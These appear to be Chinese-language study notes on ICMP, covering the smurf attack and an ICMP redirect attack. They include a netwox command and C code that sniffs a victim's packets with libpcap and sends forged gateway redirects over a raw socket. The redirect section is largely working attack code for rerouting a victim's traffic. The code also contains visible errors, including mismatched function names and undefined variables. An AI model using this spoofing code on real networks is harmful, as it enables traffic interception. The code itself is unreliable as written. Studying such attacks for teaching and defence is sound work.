ICMP和重定向攻击

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ICMP数据报格式

https://zhuanlan.zhihu.com/p/58662573
头部type,code,checksum ,4字节，扩展字段，4字节
icmp作为数据部分封装到ip数据报中
IPv4中的常用type，ipv6与之不同

• 0:Echo Reply 回显应答，返回数据 ping
• 3:Destination Unreachable 不可达
• 5:Redirect (change route) 重定向
• 8:Echo Request 回显请求，ping
• 11:time Exceeded for a Datagram，超时

    struct icmp
    {
    u_int8_t icmp_type; /* type of message, see below */
    u_int8_t icmp_code; /* type sub code */
    u_int16_t icmp_cksum; /* ones complement checksum of struct tcp、icmp是全部的校验和，ip的只有头部*/
    union
    {
    u_char ih_pptr; /* ICMP_PARAMPROB */
    struct in_addr ih_gwaddr; /* gateway address */
    struct ih_idseq /* echo datagram */
    {
    u_int16_t icd_id;
    u_int16_t icd_seq;
    } ih_idseq;
    u_int32_t ih_void;

smurf攻击

冒充target ip 广播icmp回显请求，target会收到大量icmp回显回复，从而忙于处理icmp而拒绝服务。
如何防御？
使主机或路由器不响应ICMP请求或广播，或使路由器不转发目的是广播地址的数据包

ICMP重定向攻击

代码:icmpRedirect.c
重定向：若路由器收到一个数据报，并发现该数据报存在一个比自己更好的下一跳路由，就会向主机发送重定向报文，让其更新转发表。
重定向只支持对单个目标主机的重定向，所以不会改变路由表，但可以改变route cache， netstate -rn --cache。

sudo netwox 86 -g new_gateway_ip -i old_gateway_ip
也可以通过raw socket编程，手动实现重定向。

如何防御：使用防火墙过滤icmp或手动关闭icmp redirect

基于libpcap的sniffer

头文件 pcap.h
基于libpcap，编译时加入 -lpcap
编程步骤：

• 查找设备
• 打开设备，获得一个把手（handle是系统提供的一个用于交互的接口）
• 设置、应用filter
• 抓包，pcap_next (只抓一 次) , pcap_loop (循环)
• 分析数据包
• 结束

	char errBuf[PCAP_ERRBUF_SIZE], * devStr;
    /* 查找设备 */
    devStr = pcap_lookupdev(errBuf);
    /*捕获数据
    * 参数：设备名称，最大捕获量(字节)，是否置于混杂模式（混杂即捕获设备收发的所有数据），超时时间（0表示没有超时等待），错误信息
    */
    pcap_t * handle = pcap_open_live(devStr, 65535, 1, 0, errBuf);    
    struct bpf_program filter;
    char filterstr[50]={0};
    sprintf(filterstr,"src host %s",Vic_IP); //将ip写入filterstr缓冲区

    //编译filter
    //参数：filter过滤器指针;filterstr过滤表达式; 1:表达式是否被优化;0：应用此过滤器的掩码
    if (pcap_compile(handle, &filter, filterstr, 1, 0) == -1) {
		 fprintf(stderr, "Couldn't parse filter %s: %s\n", filter_exp, pcap_geterr(handle));
		 return 0;
	 }
     //启用过滤器
     if (pcap_setfilter(handle, &filter) == -1) {
         fprintf(stderr, "Couldn't install filter %s: %s\n", filter_exp, pcap_geterr(handle));
         return 0;
     }
    //循环抓包
    //-1表示循环次数，getPacket是回调函数，用于解析数据包，最后参数一般置为null
    pcap_loop(handle, -1, getPacket, NULL);
    //结束
	pcap_freecode(&fp);
    pcap_close(handle);

raw socket

参考https://zhuanlan.zhihu.com/p/59296026
头文件： #include <sys/socket.h> #include <netinet/in.h>
套接字（socket）允许在相同/不同的机器上的两个进程通信。基于VFS，是一种对多种协议提供支持的抽象。 位于网络协议栈和应用层之间。

• socket(AF_INET, 类型，协议)
  AF_INET/PF_INET，表示从inet层（IP）开始，AF_PACKET表示从ETHERNET曾开始
  类型：STREAM对应TCP， DATAGRAM对应UDP， SOCK_RAW，原始套接字，只有它才允许手动填写对应协议的数据包。
  协议：IPPROTO_ICMP，IPPROTO_UDP，IPPROTO_IP，IPPROTO_RAW(可手动修改ip头)等，定义在netinet/in.h

• sockaddr是对多种类型地址的抽象，编程时先用sockaddr_in写好，使用时强制转换为sockaddr

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struct sockaddr {
	unsigned short sa_family; //AF_INET(IP)
	char sa_data[14];//端口号+IP地址
};
struct sockaddr_in {
	short int sin_family; //AF_INET(IP)
	unsigned short int sin_port; //网络字节序
	struct in_addr sin_addr;
	unsigned char sin_zero[8];//0
};
//inet_aton("200.200.200.200", &myaddr.sin_addr.s_addr);
struct in_addr {
	unsigned long s_addr;//32位的IP地址，网络字节序
};

网络字节序，大端存储，高字节存在低地址
htons() Host to Network Short，port
htonl() Host to Network Long，ip
ntohl() Network to Host Long
ntohs() Network to Host Short

	//用struct sockaddr_in定义地址
	struct sockaddr_in myaddr;
	int s;	
	myaddr.sin_family = AF_INET;
	myaddr.sin_port = htons(3456);
	inet_aton("200.200.200.200", &myaddr.sin_addr.s_addr);	
	s = socket(PF_INET, SOCK_STREAM, 0);
	//使用时，用struct sockaddr*强制类型转换
	bind(s, (struct sockaddr*)myaddr, sizeof(myaddr));

定义包头

剥洋葱法，如以太网帧头+IP头+TCP头+TCP数据，使用强制类型转换获取需要的数据
头文件

#include <net/ethernet.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>

/* Ethernet header */
struct ethernet_header{
        u_int8_t  ether_dhost[ETHER_ADDR_LEN];    /* destination host address */
        u_int8_t  ether_shost[ETHER_ADDR_LEN];    /* source host address */
        u_int16_t ether_type;                     /* IP? ARP? RARP? etc */
};

/* IP header */
struct ip_header  
{  
#ifdef WORDS_BIGENDIAN  
  u_int8_t ip_version:4;  
  u_int8_t ip_header_length:4;  
#else  
  u_int8_t ip_header_length:4;  
  u_int8_t ip_version:4;  
#endif  
  u_int8_t ip_tos;  
  u_int16_t ip_length;  
  u_int16_t ip_id;  
  u_int16_t ip_off;  
  u_int8_t ip_ttl;  
  u_int8_t ip_protocol;  
  u_int16_t ip_checksum;  
  struct in_addr ip_source_address;  
  struct in_addr ip_destination_address;  
};  
#define IP_HL(ip)               (((ip)->ip_vhl) & 0x0f)
#define IP_V(ip)                (((ip)->ip_vhl) >> 4)

/* TCP header */
typedef u_int16_t tcp_seq;

struct tcp_header{
        u_int16_t th_sport;               /* source port */
        u_int16_t th_dport;               /* destination port */
        tcp_seq th_seq;                 /* sequence number */
        tcp_seq th_ack;                 /* acknowledgement number */
        u_int8_t  th_offx2;               /* data offset, rsvd */
#define TH_OFF(th)      (((th)->th_offx2 & 0xf0) >> 4)
        u_int8_t  th_flags;
        #define TH_FIN  0x01
        #define TH_SYN  0x02
        #define TH_RST  0x04
        #define TH_PUSH 0x08
        #define TH_ACK  0x10
        #define TH_URG  0x20
        #define TH_ECE  0x40
        #define TH_CWR  0x80
        #define TH_FLAGS        (TH_FIN|TH_SYN|TH_RST|TH_ACK|TH_URG|TH_ECE|TH_CWR)
        u_int16_t th_win;                 /* window */
        u_int16_t th_sum;                 /* checksum */
        u_int16_t th_urp;                 /* urgent pointer */
};

/*icmp*/
struct icmp_header  
{  
  u_int8_t icmp_type;  
  u_int8_t icmp_code;  
  u_int16_t icmp_checksum;  
  struct in_addr icmp_gateway_addr;

  //u_int16_t icmp_identifier;  
  //u_int16_t icmp_sequence;  
};  

/* ethernet headers are always exactly 14 bytes [1] */
#define SIZE_ETHERNET 14
/* Ethernet addresses are 6 bytes */
#define ETHER_ADDR_LEN	6

解析数据包

void getPacket(u_int8_t * arg, const struct pcap_pkthdr * pkthdr, const u_int8_t * packet) 
{
    static int count = 1;   //计数
   	int sockfd,res;
    int one = 1;
    int *ptr_one = &one;

    /* 包头 */
	const struct ethernet_header *ethernet;  /* The ethernet header [1] */
	const struct ip_header *ip;              /* The IP header */
	const struct tcp_header *tcp;            /* The TCP header */
	const char *payload;                    /* Packet payload */

    int ipHeaderLen;
	int tcpHeaderLen;
    printf("\nPacket number %d:\n", count++);
    printf("Packet length: %d\n", pkthdr->len);

    /* define ethernet header */
	ethernet = (struct ethernet_header*)(packet);
	/* ip header */   
	ip = (struct ip_header*)(packet + SIZE_ETHERNET); 
	ipHeaderLen = (ip->ip_header_length)*4;  //IP头长度的单位是4字节
	if (ipHeaderLen < 20) {
		printf("   * Invalid IP header length: %u bytes\n", size_ip);
		return;
	}
	/* print source and destination IP addresses */
	printf("       From: %s\n", inet_ntoa(ip->ip_source_address)); 
	printf("         To: %s\n", inet_ntoa(ip->ip_destination_address));
	/*//tcpHeaderLen = (struct tcp_header*)(packet + SIZE_ETHERNET+ipHeaderLen); 
	if(tcpHeaderLen<20)
	{
		printf("   * Invalid TCP header length: %u bytes\n", size_ip);
		return;
	}*/
	//创建raw socket，手动填充icmp部分
	if((sockfd = socket(AF_INET,SOCK_RAW,IPPROTO_ICMP))<0)
        {
            printf("create sockfd error\n");
            exit(-1);
        }
	 //开启IP_HDRINCL选项，手动填充IP头
    res = setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL,ptr_one, sizeof(one));   
    if(res < 0)
    {
        printf("error--\n");
        exit(-3);
    }
    //重定向攻击
    icmp_redirect(sockfd,ip_packet);
    close(sockfd);	
    return;
}

重定向

/*重定向攻击*/
void icmpRedirect(int sockfd,const unsigned char * packet_data){
	struct ip_header *ip;
    struct icmp_header *icmp;
    //设定好数据报：ip头，icmp头，icmp数据
	struct packet_struct
	{
		struct iphdr ip;
		struct icmphdr icmp;
		char datas[28];
    }packet;

	//ip头 20字节
    packet.ip.version = 4;
    packet.ip.ihl = 5;
    packet.ip.tos = 0;  //服务类型
    packet.ip.tot_len = htons(56);  //host to short 56=20+8+28
    packet.ip.id = getpid();
    packet.ip.frag_off = 0;
    packet.ip.ttl = 255;
    packet.ip.protocol = IPPROTO_ICMP;
    packet.ip.check = 0;
    packet.ip.saddr = inet_addr(Ori_Gw_IP); //伪造网关发送ip报文
    packet.ip.daddr = inet_addr(Vic_IP);    //把重定向包发给受害者
    
    //icmp头 8字节
    packet.icmp.type = ICMP_REDIRECT;//5
    packet.icmp.code = ICMP_REDIR_HOST;//0
    packet.icmp.checksum = 0;
    packet.icmp.un.gateway = inet_addr(Redic_IP);
    struct sockaddr_in dest =  {
        .sin_family = AF_INET,
        .sin_addr = {
        .s_addr = inet_addr(Vic_IP)
        }
    };
    //将抓到的IP包的前28字节 ，作为icmp数据
    memcpy(packet.datas,(packet_data + SIZE_ETHERNET),28);
    packet.ip.check = checksum(&packet.ip,sizeof(packet.ip));
    packet.icmp.checksum = checksum(&packet.icmp,sizeof(packet.icmp)+28);
    
    //sendto用于非可靠连接的数据数据发送，如UDP， 接收数据用recvfrom  
    sendto(sockfd,&packet,56,0,(struct sockaddr *)&dest,sizeof(dest));
    printf("send icmp redirect\n");
}

参考：
https://zhuanlan.zhihu.com/p/59161220
《TCP/IP详解》
《UNIX网络编程》